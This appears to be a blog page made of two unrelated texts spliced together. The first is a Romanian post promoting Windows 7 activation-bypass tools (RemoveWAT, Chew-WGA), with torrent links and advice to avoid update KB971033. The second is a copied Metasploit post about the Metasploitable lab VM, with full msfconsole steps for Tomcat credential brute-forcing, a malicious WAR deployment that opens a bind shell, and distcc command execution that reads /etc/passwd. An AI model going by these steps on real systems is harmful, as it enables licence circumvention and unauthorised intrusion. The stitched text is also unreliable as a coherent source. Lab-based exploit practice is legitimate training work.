Cu câteva zile în urmă prietenul Darkinside se plângea că a instalat windows 7 alienware şi nu găseşte nici un serial activ iar majoritatea keygen-urilor nu funcţionează .

Astăzi am găsit pe http://nagareshwar.securityxploded.com un articol despre asta.Omul vorbeşte despre cum cei de la Microsoft au introdus începând cu windows 7 WAT sau Windows Activation Technology pentru a ajuta MS în lupta cu pirateria.

WAT a ajutat destul de mult firma MS însă totodată a provocat şi hackerii să creeze unelte noi ,mai dezvoltate,mai inteligente.Astfel au apărut multe aplicaţii pentru bypass WAT.Mereu am avut o “slăbiciune” pentru windows ,mai ales pentru windows 7 aşa că voi posta şi eu cele mai bune aplicaţii. (Nu, nu încurajez pirateria ! ).

RemoveWAT versiunea 2.2.5.2

RemoveWat created by Hazar and nononsence  supports all versions of Windows 7 on both 32 bit as well as 64 bit platforms. Once the Windows is installed you can directly run RestoreWAT to completely disable the Windows activation.  Also you don’t have to put any product keys. It also supports silent (/s switch) option which is useful if you are integrating it with automated Windows installer.  Once removed, it prevent all sort of nag screens, WAT prompts or watermark screens.  It also supports restoring WAT so that one can easily revert back to original state.

Download : Torrent link

Chew-WGA versiunea 1.9

Chew-WGA, like RemoveWAT works across all versions of Windows 7  with support for 32 bit and 64 bit platforms. It support all language versions of Windows 7.  Once WAT is removed successfully, you can continue to receive regular Windows updates without any problem. It also claims to provide protection against any hot-fixes.  Like RemoveWAT it also features ‘Revert’ option to restore the Windows to original state at later times.

Download: Torrent link

Important

Cum era de aşteptat cei de la MS au venit cu un update ( KB971033) pentru a proteja WAT aşa că folosiţi aceste aplicaţii după instalare fără update.Când faceţi update-uri staţi cu ochii pe (KB971033) .

Şi că să nu existe probleme :

Note:  This post is provided here for information and educational purposes only.

Sursa: http://nagareshwar.securityxploded.com
Credite aplicatii : creatorii.

One of the questions that we often hear is “What systems can i use to test against?” Based on this, we thought it would be a good idea throw together an exploitable VM that you can use for testing purposes.

Metasploitable is an Ubuntu 8.04 server install on a VMWare 6.5 image. A number of vulnerable packages are included, including an install of tomcat 5.5 (with weak credentials), distcc, tikiwiki, twiki, and an older mysql.

You can use most VMware products to run it, and you’ll want to make sure it’s configured for Host-only networking unless it’s in your lab – no need to throw another vulnerable machine on the corporate network. It’s configured in non-persistent-disk mode, so you can simply reset it if you accidentally ‘rm -rf’ it.

Here are a couple of the things you can do with it in msfconsole:

Using the ‘Tomcat Application Manager Login Utility’ provided by MC, Matteo Cantoni, and jduck, you can test credentials against a Tomcat application (assuming the manager component is enabled):

msf > use scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > set RHOSTS metasploitable
msf auxiliary(tomcat_mgr_login) > set RPORT 8180
msf auxiliary(tomcat_mgr_login) > exploit

…
[*] 10.0.0.33:8180 – Trying username:’tomcat’ with password:’role1′
[-] http://10.0.0.33:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘tomcat’
[*] 10.0.0.33:8180 – Trying username:’tomcat’ with password:’root’
[-] http://10.0.0.33:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘tomcat’
[*] 10.0.0.33:8180 – Trying username:’tomcat’ with password:’tomcat’
[+] http://10.0.0.33:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login ‘tomcat’ : ‘tomcat’
[*] 10.0.0.33:8180 – Trying username:’both’ with password:’admin’

Woot! That’s a valid (tomcat:tomcat) login. – Now that we have valid credentials, let’s try jduck’s Tomcat Manager Application Deployer (tomcat_mgr_deploy) against it:

msf > use multi/http/tomcat_mgr_deploy
msf exploit(tomcat_mgr_deploy) > set RHOST metasploitable
msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat
msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat
msf exploit(tomcat_mgr_deploy) > set RPORT 8180
msf exploit(tomcat_mgr_deploy) > set PAYLOAD linux/x86/shell_bind_tcp
msf exploit(tomcat_mgr_deploy) > exploit

[*] Started bind handler
[*] Attempting to automatically select a target…
[*] Automatically selected target “Linux X86”
[*] Uploading 1612 bytes as HJpy1H.war …
[*] Executing /HJpy1H/EpKaNLsCQUUjo.jsp…
[*] Undeploying HJpy1H …
[*] Sending stage (36 bytes) to metasploitable
[*] Command shell session 1 opened (10.0.0.11:39497 -> 10.0.0.33:4444) at 2010-05-19 11:53:12 -0500

Sweet! And… that’s a shell, facilitated by a malcious .WAR file. The distcc_exec module is also a nice exploit to test with. In this case, we’ll use a command payload to ‘cat /etc/passwd’:

use unix/misc/distcc_exec
msf exploit(distcc_exec) > set PAYLOAD cmd/unix/generic
msf exploit(distcc_exec) > set RHOST metasploitable
msf exploit(distcc_exec) > set CMD ‘cat /etc/passwd’
msf exploit(distcc_exec) > exploit
connecting…

[*] stdout: root:x:0:0:root:/root:/bin/bash
[*] stdout: daemon:x:1:1:daemon:/usr/sbin:/bin/sh
…

Code exec!

It’s great fun to run Express against it too. A single bruteforce of ssh or telnet will return 5 sessions (from the 5 different weak accounts on the VM):

Once we have an open session we can run “Evidence Collection” and pick up any ssh keyfiles from the user accounts we gained access to. (Note that you can do this from the console too, manually – spawn a shell and check the .ssh directories). Now when we run another bruteforce (with ‘known’ credentials), you can see that it uses the SSH keyfiles to obtain access to the box:

To download Metasploitable, you can pick up the torrent on the Express Community site. If you are an Express customer, you can pick up a direct HTTP download from the Customer Center.

Source : http://blog.metasploit.com/2010/05/introducing-metasploitable.html